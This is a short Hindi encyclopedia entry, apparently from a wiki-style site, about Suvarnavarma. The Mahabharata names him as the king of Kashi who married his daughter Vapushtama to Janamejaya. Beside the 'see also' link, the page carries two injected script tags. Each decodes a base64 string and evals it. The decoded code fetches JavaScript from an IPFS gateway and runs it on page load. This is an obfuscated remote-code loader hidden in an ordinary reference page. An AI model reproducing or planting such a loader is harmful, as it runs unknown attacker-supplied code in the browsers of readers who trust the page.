सुवर्णवर्मा

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

सुवर्णवर्मा हिन्दू मान्यताओं और पौराणिक महाकाव्य महाभारत के उल्लेखानुसार काशी के राजा थे, जो राजकुमारी वपुष्टमा के पिता थे।

  • जनमेजय के मंत्रियों ने सुवर्णवर्मा के समीप जाकर जनमेजय के लिए राजकुमारी वपुष्टमा देने की प्रार्थना की थी।
  • राजा सुवर्णवर्मा ने मंत्रियों की प्रार्थना स्वीकार कर राजा जनमेजय के साथ अपनी पुत्री का विवाह कर दिया।[1]


इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: जनमेजय<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

पौराणिक कोश |लेखक: राणा प्रसाद शर्मा |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 533 |

  1. महाभारत आदि पर्व 55. 8-9

संबंधित लेख